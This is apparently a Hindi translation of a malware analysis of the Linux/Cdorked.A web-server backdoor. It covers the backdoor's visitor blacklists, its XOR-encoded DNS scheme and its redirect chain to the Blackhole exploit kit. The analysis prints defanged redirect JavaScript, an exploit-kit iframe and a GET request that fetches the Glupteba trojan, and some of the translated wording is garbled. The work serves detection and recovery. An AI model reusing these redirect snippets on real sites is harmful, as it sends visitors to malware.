Linux / Cdorked.A: लाइटटैप और नगनेक्स पर चलने वाले वेब सर्वर खतरे में हैं

हमारे अध्ययन के अंतिम भाग में, हमने लिनक्स / Cdorked.A पिछले दरवाजे से जुड़े लिनक्स सर्वर संक्रमण की घटना के विश्लेषण के एक निरंतरता को प्रकाशित करने का वादा किया था। हमने पहले ही लिखा था कि हमारी प्रयोगशाला के विशेषज्ञों ने इसका मुख्य कार्य स्थापित किया है, जो वेब सर्वर उपयोगकर्ताओं को दुर्भावनापूर्ण वेबसाइटों पर पुनर्निर्देशित करना है। इस घटना की अधिक विस्तार से जाँच करते हुए, हम निम्नलिखित निष्कर्ष पर आए:

• कुल मिलाकर, Linux / Cdorked.A से संक्रमित 400 से अधिक वेब सर्वरों का पता लगाया गया। इसके अलावा, उनमें से 50 होस्ट वेबसाइटें हैं जो एलेक्सा के टॉप 100,000 सबसे लोकप्रिय वेबसाइटों में शामिल हैं।
• पिछले दरवाजे ने न केवल अपाचे को चलाने वाले वेब सर्वरों से समझौता किया, बल्कि लाइटटैप, साथ ही नगनेक्स भी।
• हमारे टेलीमेट्री सिस्टम के अनुसार, यह खतरा दिसंबर 2012 से सक्रिय है।
• पिछले दरवाजे अपनी गोपनीयता सुनिश्चित करने के लिए अतिरिक्त तंत्र का उपयोग करता है। विशेष रूप से, हमने पाया कि दुर्भावनापूर्ण कोड उपयोगकर्ताओं को पुनर्निर्देशित नहीं करेगा यदि ग्राहक का आईपी पता काली सूची में इंगित पते की सीमा में है। यह ब्लैकलिस्ट काफी बड़ा है और इसमें जापान, फिनलैंड, रूस, यूक्रेन, कजाकिस्तान और बेलारूस जैसे देशों के पते शामिल हैं। इसके अलावा, HTTP हेडर और एक्सेप्ट-लैंग्वेज पैरामीटर का विश्लेषण करके एक कंट्री चेक भी किया जाता है।
• हमारी क्लाउड तकनीक ईएसईटी एवी उत्पादों के लगभग 100,000 उपयोगकर्ताओं को दिखाती है जो समझौता किए गए वेब सर्वर द्वारा उत्पन्न लिंक पर पुनर्निर्देशित होते हैं। उसी समय, दुर्भावनापूर्ण सामग्री के लिए इस तरह के पुनर्निर्देशन को एंटीवायरस द्वारा अवरुद्ध किया गया था।
• कुछ मामलों में, हमने Apple iPad और iPhone प्लेटफार्मों के लिए विशेष रीडायरेक्ट किए।

इस पोस्ट में हम विश्लेषण के दौरान पहचाने गए इस पिछले दरवाजे की क्षमताओं पर अधिक विस्तार से ध्यान देना चाहते हैं, साथ ही साथ उपयोगकर्ताओं को वितरित की गई दुर्भावनापूर्ण सामग्री और उपयोगकर्ता को कारनामों के एक सेट पर पुनर्निर्देशित करने के संगठन के बारे में अधिक विस्तार से वर्णन करना चाहते हैं।

यह ध्यान दिया जाना चाहिए कि हम यह सुनिश्चित करने के लिए नहीं जानते कि बैकडोर सर्वरों को कैसे मिला। शायद इस हमले का वेक्टर अद्वितीय नहीं था। उसी समय, हम यह नहीं कह सकते कि इसे स्थापित करने के लिए एक cPanel कॉन्फ़िगरेशन गैप का उपयोग किया गया था, क्योंकि सभी समझौता किए गए सर्वर इसके नियंत्रण में नहीं थे। पिछले दरवाजे में स्व-वितरण तंत्र नहीं है और इसकी स्थापना के लिए सर्वर पर सॉफ़्टवेयर में भेद्यता का उपयोग नहीं करता है।

निम्न स्क्रीनशॉट पिछले दरवाजे कोड में स्थानों को दिखाते हैं जहां सर्वर तक दूरस्थ पहुंच खोली जाती है। विभिन्न प्रकार की बाइनरी फाइलें कानूनी लाइटटैप, नगनेक्स और अपाचे फाइलों की जगह लेती हैं।


lighttpd


nginx


अपाचे

बैकडोर कोड तीनों मामलों में समान दिखता है, लेकिन कुछ कार्यों के अंदर उपयोग किए जाने वाले हुक अलग हैं क्योंकि वे चयनित सर्वर और उसके डेटा संरचनाओं पर निर्भर करते हैं।

पिछले दरवाजे सुविधाएँ

हमने पहले से ही पिछले दरवाजे द्वारा समर्थित आदेशों का उल्लेख किया है। इस विश्लेषण में, हम उन पर अधिक विस्तार से ध्यान देंगे।



इन सूचियों को एक साझा मेमोरी क्षेत्र में संग्रहीत किया जाता है जिसे हमारे विश्लेषण उपकरण का उपयोग करके एक्सेस किया जा सकता है। तालिका में सूचीबद्ध सेटिंग्स वास्तव में हमलावरों को हमले के लिए लक्ष्य चुनते समय अपने दुर्भावनापूर्ण कोड को ठीक करने का एक शानदार अवसर देती हैं। लिनक्स / Cdorked.A पहले से पुनर्निर्देशित ग्राहकों के आईपी पतों की एक सूची रखता है, जो पुनर्निर्देशन के समय को दर्शाता है। यह समय की एक निर्दिष्ट अवधि के लिए पुन: पुनर्निर्देशन से बचा जाता है। इन सेटिंग्स में से कोई भी डिस्क पर एक फ़ाइल में संग्रहीत नहीं है और उनमें से प्रत्येक को पिछले दरवाजे से संसाधित विशेष HTTP अनुरोधों के माध्यम से संशोधित किया गया है।

विशिष्ट पिछले दरवाजे विन्यास

सिस्टम प्रशासकों की मदद से, जिन्होंने एक वेब सर्वर, और साथ ही सुकुरी विशेषज्ञों की समझौता की घटनाओं की जांच में भाग लिया, हम मेमोरी क्षेत्रों के डंप प्राप्त करने में सक्षम थे, जिसमें लिनक्स / Cdorked.A अपनी कॉन्फ़िगरेशन जानकारी संग्रहीत करता है। इनमें से एक डंप का उदाहरण:



अब तक, हम एक भी लिनक्स / Cdorked.A कॉन्फ़िगरेशन प्राप्त करने में सक्षम नहीं हैं, जिसमें एक से अधिक URL हैं जो क्लाइंट को पुनर्निर्देशित करने के लिए उपयोग किए जाते हैं। निर्दिष्ट रीडायरेक्ट उन ग्राहकों पर लागू होता है जो सर्वर के लिए अनुरोध करते हैं, विंडोज़ एक्सपी, विस्टा, सेवन पर ब्राउज़र इंटरनेट एक्सप्लोरर या फ़ायरफ़ॉक्स के तहत काम करते हैं। Apple iPhone और iPad के उपयोगकर्ता भी निशाने पर थे, हालांकि, कारनामों के एक सेट पर पुनर्निर्देशित करने के बजाय, उन्होंने अश्लील वेबसाइटों के लिंक के साथ एक वेब पेज पर पुनर्निर्देशन की रणनीति का इस्तेमाल किया। निम्न स्क्रीनशॉट एक iPhone पर रीडायरेक्ट प्रदर्शित करता है।



हमने पहले ही उल्लेख किया है कि लिनक्स / Cdorked.A कॉन्फ़िगरेशन में एक व्यापक आईपी एड्रेस रेंज ब्लैकलिस्ट शामिल है। इन पतों में से किसी एक समझौता किए गए वेब सर्वर पर आने वाले लोगों को कभी भी दुर्भावनापूर्ण सामग्री पर पुनर्निर्देशित नहीं किया जाएगा। वास्तव में, हमने जो बैकडोर कॉन्फ़िगरेशन देखे, उनमें आईपी पतों की संख्या, जो सभी संभावित आईपी वी 4 स्पेस पतों के 50% का प्रतिनिधित्व करती है, को ब्लॉक कर दिया गया था। क्लाइंट को पुनर्निर्देशित नहीं किया जाता है यदि ब्राउज़र के HTTP हेडर के स्वीकार-भाषा क्षेत्र में सेट की गई भाषा को ब्लैकलिस्ट किया जाता है। सूची में भाषाएं शामिल हैं:

• जेए, जेपी - जापानी;
• फाई फिनिश है;
• आरयू - रूसी;
• uk - यूक्रेनी;
• होना - बेलारूसी;
• kk - कज़ाख;

वास्तव में, साइबर अपराधियों ने जानबूझकर पिछले दरवाजे के भूगोल को सीमित कर दिया है, क्योंकि उपयोगकर्ताओं के अनियंत्रित संक्रमण पहले से ही समझौता किए गए सर्वर के रखरखाव और अनावश्यक संदेह के प्रभाव को प्रतिकूल रूप से प्रभावित कर सकते हैं।

पुनर्निर्देशन सांख्यिकी

वास्तव में, इन दुर्भावनापूर्ण रीडायरेक्ट में सामान्य रूप से कुछ होता है: ब्लैकहोल के मामले में, जब क्लाइंट को रीडायरेक्ट किया जाता है, तो URL पैटर्न में "/ जानकारी / अंतिम" भाग को इंगित किया जाता है। हमारे द्वारा ट्रैक की गई दुर्भावनापूर्ण गतिविधि के शुरुआती निशानों में, वह उसी टेम्पलेट का उपयोग करता है जिसमें "/ जानकारी / अंतिम" भाग का संकेत मिलता है, जो समान DNS टेम्प्लेट का उपयोग करता है, जिसे बाद में वर्णित किया जाएगा।

ट्रैफ़िक का विश्लेषण करने के बाद, हमने 400 से अधिक वेब सर्वरों की खोज की, जो लिनक्स / सीडीआरकेड की गतिविधियों से प्रभावित थे। एक ही समय में, उनमें से 50 वेबसाइटों के लिए होस्टिंग प्रदान करते हैं जो सबसे लोकप्रिय वेबसाइटों के एलेक्सा टॉप 100,000 में शामिल हैं। हमारे विश्लेषण के पहले भाग के प्रकाशन के बाद, इन सर्वरों के कुछ मालिकों ने इस खतरे से सर्वर को साफ कर दिया।



लिनक्स / Cdorked.A प्रत्येक आईपी पते के लिए पिछले पुनर्निर्देशन मामले के टाइमस्टैम्प का समर्थन करता है। हम इस जानकारी को एक मेमोरी डंप से निकालने में सक्षम थे ताकि यह अनुमान लगाया जा सके कि एक दिन में एक सर्वर कितने रीडायरेक्ट कर सकता है। इनमें से एक डंप में सर्वर के बारे में जानकारी थी, जिसने 24 घंटों में 28,000 से अधिक रीडायरेक्ट किए। ऐसे सर्वर हर समय सक्रिय नहीं होते हैं, कई सर्वरों के पुनर्निर्देशन आँकड़े नीचे दिखाए गए हैं।





डीएनएस अपहरण

रीडायरेक्ट के लिए पिछले दरवाजे द्वारा उपयोग किए जाने वाले URL अक्सर बदलते रहते हैं। हालांकि, कई पैटर्न हैं:

• आमतौर पर डोमेन के लिए रास्ता है: [संख्या, ए, बी या सी] [अक्षर]। [Tld]।
• अगले स्तर का डोमेन हमेशा 16 हेक्स वर्ण लंबा होता है।

उप-डोमेन और इस तथ्य के विशिष्ट प्रारूप कि वे लगातार बदल रहे हैं, हमें यह विश्वास करने का कारण देता है कि कुछ DNS सर्वरों से समझौता किया गया है। हमने कई परीक्षण किए, जिसमें हमने स्वयं उप-डोमेन के पात्रों को संशोधित किया और कुछ मामलों में इसके अनुवाद के दौरान आईपी पते में परिवर्तन प्राप्त किया। कुछ अन्य परीक्षणों के साथ, हम इस तथ्य की पुष्टि करने में सक्षम थे कि DNS सेवा के माध्यम से लौटाया गया आईपी पता वास्तव में सबडोमेन के नाम पर एनकोडेड है। इसके लिए, विषम पदों के पात्रों का उपयोग किया जाता है, जो 4-बाइट हेक्स स्ट्रिंग बनाते हैं, जो तब आईपी एड्रेस प्राप्त करने के लिए उपयोग किया जाता है। XOR एल्गोरिथ्म का उपयोग IP पता उत्पन्न करने के लिए किया जाता है:



इसके लिए, एक एल्गोरिथ्म का उपयोग किया जाता है।

byte[] = { 16, 70, 183, 11 } // From the hex string
seed = 49 // This seed changes, we have not yet found where it comes for
ip[0] = seed ^ byte[0] // 33
ip[1] = byte[0] ^ byte[1] // 86
ip[2] = byte[1] ^ byte[2] // 241
ip[3] = byte[2] ^ byte[3] // 188
// This gives us a response with IP 188.241.86.33

पुनर्निर्देशन श्रृंखला

यदि क्लाइंट को दुर्भावनापूर्ण सामग्री पर पुनर्निर्देशित किया जाता है, तो यह सीधे ब्लैकहोल शोषण सूट पृष्ठ पर होने से पहले कई विशेष वेब पृष्ठों से गुजरता है। निम्न स्क्रीनशॉट ऐसी श्रृंखला का एक उदाहरण दिखाता है।



पहले पृष्ठ /index.php में एक पैरामीटर है जो base64 का उपयोग करके एन्क्रिप्ट किया गया है और हमारे पिछले लेख में दर्ज़ किया गया था। डीकोडिंग के बाद, यह निम्नानुसार दिखता है।

ljroujxv = isiuzv & time = 1305022208-2007115935 और src = 141 & surl = somedomain.com & sport = 80 & key = ED143377 & suri = / tr / zai.htm।

इस पृष्ठ में जावास्क्रिप्ट है जो उपयोगकर्ता को अगले पृष्ठ पर पुनर्निर्देशित करता है।

var iflag = "0"; if (top!=self) { iflag = "1"; };
var b64str = "MTQxNDExMzA1MDIyMjQ4M...luLmNvbS9zb3J0LnBocA==";
setTimeout ( function() { location.replace( "hxxp://ae334b05c4249f38" + iflag
+ b64dec(b64str) ); }, 280);


दूसरे पृष्ठ के URL में तीन भाग होते हैं: प्रारंभिक उपडोमेन, iflag पैरामीटर का मान और सर्वर द्वारा उत्पन्न b64str चर का मान। यदि वर्तमान दस्तावेज़ ब्राउज़र विंडो के अग्रभूमि में है, तो Iflag 1 पर सेट है। इस स्थिति में, सर्वर अनुरोध को अस्वीकार कर देगा। B64str वैरिएबल का मान सर्वर द्वारा प्रदान किया जाता है और इसमें एक URL होता है जिसमें उपडोमेन का एक बहुत लंबा हिस्सा होता है।

1414113050222483098587bcf02fc1731aade45f74550b.somedomain.com/sort.php

URL के तीसरे भाग में इस रीडायरेक्ट के बारे में विशिष्ट जानकारी होती है, जैसे कि सोर्स आईडी - src आईडी, स्टार्ट यूआरएल और टाइमस्टैम्प - टाइमस्टैम्प से प्राप्त की जाती है। शेष पात्रों का उद्देश्य अज्ञात रहता है।



तीसरा पृष्ठ, एक निश्चित समय समाप्ति के बाद उपयोगकर्ता को चौथे पृष्ठ से बाहर निकालता है। एक विशिष्ट sort.php पेज इस प्रकार है।

function gotime() { xflag=false; top.location.replace(b64dec("aHR0cDovL2FlMzM0YjA1YzQyNDlmM...
...cD94PTEzNyZ0PXRpbWVvdXQ=")); };
var timer=setTimeout("gotime()", 21000);
var ewq;
ewq=document.createElement("span");
ewq.innerHTML=b64dec("PGlmcmFtZSBzcmM9Im...1lPjxicj4=");
setTimeout(function() { document.body.insertBefore(ewq,document.body.lastChild); }, 504);
aHr...XQ= : hxxp://ae334b05c4249f38014141130...
...50222483098587bcf02fc1731aade45f74550b.somedomain.com/exit.php?x=137&t=timeout

यह चौथा पेज अश्लील चित्र दिखाता है और अश्लील वेबसाइटों के लिंक प्रदान करता है। पृष्ठ में एक iframe भी है जो ब्लैकहोल पृष्ठ पर ले जाता है। यह अभी तक स्पष्ट नहीं है कि पोर्न सामग्री के लिंक दुर्भावनापूर्ण हैं या संबद्ध कार्यक्रम का हिस्सा हैं। नीचे एक आइफ्रेम है जो ब्लैकहोल के लैंडिंग पृष्ठ पर जाता है।

PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830...
...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true"> PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830...
...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true"> <br>

अंतिम कदम पीड़ित के कंप्यूटर पर मैलवेयर डाउनलोड करना है यदि कोई एक कारनामे सफल होते हैं।

GET /get3.php?e=176541242&tc=1305022250-072800c977&uid=536201305050119591656771 HTTP / 1.0
होस्ट: ae334b05c4249f38.somedomain.com
उपयोगकर्ता-एजेंट: NSISDL / 1.2 (मोज़िला)
स्वीकार करें: * / *

हमारे परीक्षण और टेलीमेट्री डेटा बताते हैं कि Win32 / Glupteba.G ट्रोजन उपयोगकर्ताओं के कंप्यूटरों पर स्थापित किया गया था।

वसूली

पिछली पोस्ट में, हमने पहले ही सिफारिश की थी कि सिस्टम प्रशासक सर्वर पर संग्रहीत मुख्य बाइनरी फ़ाइलों की अखंडता की जांच करें। हमने लिनक्स / Cdorked.A कॉन्फ़िगरेशन को स्टोर करने वाले मेमोरी क्षेत्र को डंप करने के लिए डंप_कॉन्कोर्ड_कॉन्फिग टूल भी प्रकाशित किया। इस टूल को सभी बैकडोर विकल्पों का पता लगाने के लिए अपडेट किया गया है, जिसमें nginx और Lighttpd के लिए संस्करण शामिल हैं।

नेटवर्क उपयोगकर्ताओं के लिए, हम समय-समय पर ब्राउज़र, इसके एक्सटेंशन, OS और जावा जैसे महत्वपूर्ण सॉफ़्टवेयर, एडोब रीडर, और फ्लैश प्लेयर को अपडेट करने की सलाह देते हैं। एंटीवायरस सॉफ्टवेयर का उपयोग करना भी अच्छा अभ्यास है।